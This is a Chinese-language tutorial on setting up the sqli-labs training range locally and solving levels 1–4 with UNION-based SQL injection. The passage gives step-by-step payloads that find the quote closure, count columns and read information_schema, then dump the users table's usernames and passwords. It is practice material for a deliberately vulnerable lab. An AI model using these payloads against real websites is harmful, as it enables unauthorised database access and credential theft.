用户须知

1.免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式的损失或损害,包括但不限于数据丢失、系统损坏、个人隐私泄露或经济损失等,不承担任何责任。所有使用本教程内容的个人或组织应自行承担全部风险。

综合传送门

详情免责声明
版权声明
交流群
公众hao

前言

1. 更多教程请点击上面的公众hao(教程来源于公众hao,如下面教程有误差,欢迎大家进交流群反馈同时移步公众hao

2. 有不懂的问题,欢迎进交流群讨论,互相学习!

3. 教程中所用到的资源都在公众hao->资源获取->百度网盘


一.搭建靶场

1.打开github搜索sql-labs,如图

注意:由于GitHub官网服务器是国外的,部分地区打开很慢,需要国外的网络打开

2.点击打开

3.点击下载,解压到phpstudy根目录下的www文件夹下

注意:这里为什么我的名称是sql,没有你们那么长,是因为我重命名简写了,后面地址栏访问会很简单

4.打开sql下滑找到这个文件

5.用记事本打开配置sql-connections这个文件

注明:用户名和密码与phpstudy中的数据库对应

6.然后打开phpstudy打开这两个服务

7.然后浏览器打开,在地址栏输入127.0.0.1/sql 回车

点击图中圈的,首次搭建完后需要创建数据库

8.下滑即可进入关卡

9.如果遇到问题,大概率可能是php版本的问题可以更换版本再重启服务即可

靶场搭建完毕,接下来进入关卡

二.关卡

1.第一关

白盒分析:查看源代码

查看源代码得知

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

注意:对比第二关:id加了引号

黑盒测试

  • 第一步判断是否存在SQL注入

我们输入

?id=1

输入不同的id值有不同的变化表示存在SQL注入

  • 判断类型
  • 输入
?id=1'

得知闭合是'

  • 输入
?id=1'--+

验证正确得知是字符型且存在SQL注入

  • 第二步:判断有几个字段数

注明:order by:对结果集进行列排序

在地址栏输入

1 order by 3 …1 order by 100发现都可以

  • 分析问题查看命令
$sql="SELECT * FROM users WHERE id='1 order by 3' LIMIT 0,1";

分析得知,传入命令被当做字符串处理了,应为有''

  • 解决方法:思路:把执行的代码跳出',即自己加'和--+(绕过技巧)
?id=1' order by 3 --+

  • 注入后数据库执行命令如下
$sql="SELECT * FROM users WHERE id='1 'order by 3--+' LIMIT 0,1";

没报错

  • 改成order by 4报错,说明只有三个字段

  • 第三步用union联合查询

注明:

  • union查询可以select多条语句并用(只能select)可以显示没有的东西
  • union:两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
  • 展示空间不够前面会覆盖后面内容(所以接下来用-1,让前面命令执行不成功)
  • database()为查询库名
?id=-1' union select 1,database(),3 --+

得到库

  • 第四步 查这个库中的表名

注明:

  • MySQL自带Information_schema库
  • Information_schema库里有两个特殊的表
  1. 表tables记录了库名和表名
  2. 表columns:库里面有什么表,表里面有什么字段
  • table_schema:记录了所有库的库名
  • table_name.记录了表
  • column_name:记录了字段
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+
  • 也可以这样写
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=security --+

其中一个表为emails

  • 重复操作查询表名(只需要改LIMIT)
  • LIMIT1,表示从第二行开始取,取一行

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' LIMIT 1,1 --+
  • 或者可以用group_concat()将查询到结果连接起来。(不建议用,数据太多由于前端代码限制,会展示不完全)
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

  • 查看字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  • 第六步得到敏感字段的内容
?id=-1' union select 1,2,group_concat(username , password) from users--+

2****.第二关

  • 第一步判断是否存在SQL注入原理同第一节
?id=1

  • 输入以下语句显示报错
?id=1'

推断得知应该是数字型注入

  • 第二步:判断有几个字段数

在地址栏输入

?id=1 order by 3  //正确有显示
?id=1 order by 4 //报错

说明只有三个字段

  • 第三步用union联合查询
  • 输入
?id=-1 union select 1,2,3

  • 查询库名
?id=-1 union select 1,database(),3

得到库名

  • 第四步 查这个库中的表名
  • 可以用group_concat()将查询到结果连接起来。(不建议用,数据太多由于前端代码限制,会展示不完全)
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

得知四个表

  • 第五步:查看字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

  • 第六步:获取敏感字段下面的数据
?id=-1 union select 1,2,group_concat(username,password) from users

3.第三关

  • 第一步判断是否存在SQL注入
  • 输入

?id=1?id=2...

两张不相同

  • 输入
?id=2' //探测以下什么类型

看到页面报错信息,可推断sql语句是单引号字符型且有括号

思路:所以我们需要闭合单引号而且也要考虑括号。

尝试注入

?id=4')--+

正常:说明注入格式正确后续步骤按照此规则

  • 第二步:判断有几个字段数
?id=1') order by 3--+

?id=1') order by 4--+

报错,推断只有三个字段数

  • 第三步用union联合查询
?id=-1') union select 1,2,3--+

  • 查询库名
?id=-1') union select 1,database(),3--+

得知库名为security

  • 第四步 查这个库中的表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

得知几个表名

  • 第五步查看字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  • 第六步得到敏感字段的内容
?id=-1') union select 1,2,group_concat(username,password) from users--+

  • 感觉内容不容易看,加个id分割一下

4****.第四关

  • 第一步判断是否存在SQL注入

?id=1?id=2...

存在SQL注入漏洞

  • 输入
?id=1' //探测以下什么类型

没异常

  • 输入
?id=1"

  • 出现:'"1"") LIMIT 0,1'去除'变成"1"") LIMIT 0,1
  • 判断闭合方式")
  • 第二步:判断有几个字段数
?id=1") order by 3--

?id=1") order by 4--

报错,说明只有三个字段

  • 第三步用union联合查询
?id=-1") union select 1,2,3--+

  • 查库名
?id=-1") union select 1,database(),version()--+

注明:version()用于查看版本

  • 也可以只查看库名
?id=-1") union select 1,database(),3--+

  • 第四步 查这个库中的表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

得知四个表名

  • 第五步查看字段名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  • 第六步得到敏感字段的内容
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

第二十一章-sql 注入-union 联合注入 (1)的更多相关文章

  1. sql server(mssql)联合注入

    sql server(mssql)联合注入 sql server简介: SQL Server 是Microsoft 公司推出的关系型数据库管理系统.具有使用方便可伸缩性好与相关软件集成程度高等优点,可 ...

  2. 2017.2.15 开涛shiro教程-第二十一章-授予身份与切换身份(二) controller

    原博客地址:http://jinnianshilongnian.iteye.com/blog/2018398 根据下载的pdf学习. 开涛shiro教程-第二十一章-授予身份与切换身份(二) 1.回顾 ...

  3. 2017.2.15 开涛shiro教程-第二十一章-授予身份与切换身份(一) table、entity、service、dao

    原博客地址:http://jinnianshilongnian.iteye.com/blog/2018398 根据下载的pdf学习. 第二十一章 授予身份与切换身份(一) 1.使用场景 某个领导因为某 ...

  4. JavaScript高级程序设计:第二十一章

    第二十一章 Ajax与Comet 一.XMLHttpRequest对象 1.XHT的用法 在使用XHR对象时,要调用的第一个方法时open( ),它接受3个参数:要发送的请求的类型.请求的URL和表示 ...

  5. 第二十一章 Django的分页与cookie

    第二十一章 Django的分页与cookie 第一课 模板 1.模板的继承 在Template目录下新建模板master.html <!DOCTYPE html> <html lan ...

  6. Gradle 1.12用户指南翻译——第二十一章. Gradle 插件

    昨天晚上只顾着和女朋友看<匆匆那年>电视剧的最后几集,所以说好的Android文档<Gradle 插件用户指南>第五章自然也没翻译多少.所以今天也发不了第五章的翻译了,就发几个 ...

  7. “全栈2019”Java多线程第二十一章:同步代码块产生死锁的例子

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java多 ...

  8. “全栈2019”Java异常第二十一章:finally不被执行的情况

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java异 ...

  9. “全栈2019”Java第二十一章:流程控制语句中的决策语句if

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  10. python 教程 第二十一章、 扩展Python

    第二十一章. 扩展Python /* D:\Python27\Lib\Extest-1.0\Extest2.c */ #include <stdio.h> #include <std ...

随机推荐

  1. C# 通过反射 Model 转 XML

    Order.OrderRequest m = new Order.OrderRequest();            m.Request = new Order.OrderRequest.Reque ...

  2. 使用three.js,实现微信3D小游戏系列教程,框架篇(一)

    引言 在三维图形和游戏开发领域,three.js 作为一个基于 WebGL 的 JavaScript 库,提供了强大的功能来创建和显示动画化的 3D 计算机图形.它使得开发者能够轻松地在网页上构建复杂 ...

  3. PLC通过lora网关采集温室大棚温湿度数据

    概述: 运用lora网关远程控制大棚内风机,日光灯,温湿度传感器等设备.可以实现远程获取现场环境的空气温湿度.土壤水分温度.二氧化碳浓度.光照强度可以自动控制温室湿帘风机.喷淋滴灌.加温补光等设备,并 ...

  4. vue_过渡&动画、过滤器、指令

    过度和动画 <html lang="en"> <head> <meta charset="UTF-8"> <title ...

  5. 前端开发系列131-进阶篇之Promise源码实现

    本文介绍参考[PromiseA+]规范来实现一个符合规范的Promise库. 上面是ES6+实现的Promise核心方法,其整体结构也可以通过下面的打印查看 /* 01-打印Promise类的内容(静 ...

  6. GAMES 103 动画基础作业1 Shape Matching 浅浅解析

    简介 作业1简单实现了一个以一定初始速度和角速度的模型和墙壁碰撞的效果. 总共讲解了三种算法 impulse (脉冲法) Shape Matching(基于形状保持的算法, 不包含物理特性) Pena ...

  7. 小心误关了NAS服务器!修改Linux的电源键功能

    前言 事情是这样的 今天想用NAS上的服务突然发现NAS离线了 我看了下原来是关机了 很奇怪,这几天也没断电啊- 我又去分析了系统日志 注意到了关机前的这段日志 Jul 13 23:24:33 pve ...

  8. API开发平台,快速集成各种API接口

    API开发平台是指一种能够帮助企业快速交付业务应用的平台,实现了企业的降本增效目标,同时也实现了企业快速开发,快速交付的目标.随着计算机技术的飞速发展和计算机网络的大面积普及,企业信息化建设逐步深入, ...

  9. SciTech-Physics-Particle-Quantum Theories-Spectrum(Light&Radio): 光谱(辐射/吸收) + Bohr(Denmark)的电子绕原子核的能级轨道及跃迁模型: 波粒双性 + 量子化的能量+频率

    SciTech-Physics-Particle-Quantum Theories-Spectrum(Light&Radio): Spectrum 光谱(辐射/吸收) 光谱是: 1." ...

  10. 数学: R连续性+Q稠密性与数系的完善历史

    R实数集合最重要的基本性质: 连续性(完备性: Q有理数+IR.无理数即无限不循环小数) 数系的扩充历史 自然数集合N: 关于 +加法 与 *乘法 运算是封闭的,但是 N 关于 -减法 运算并不封闭. ...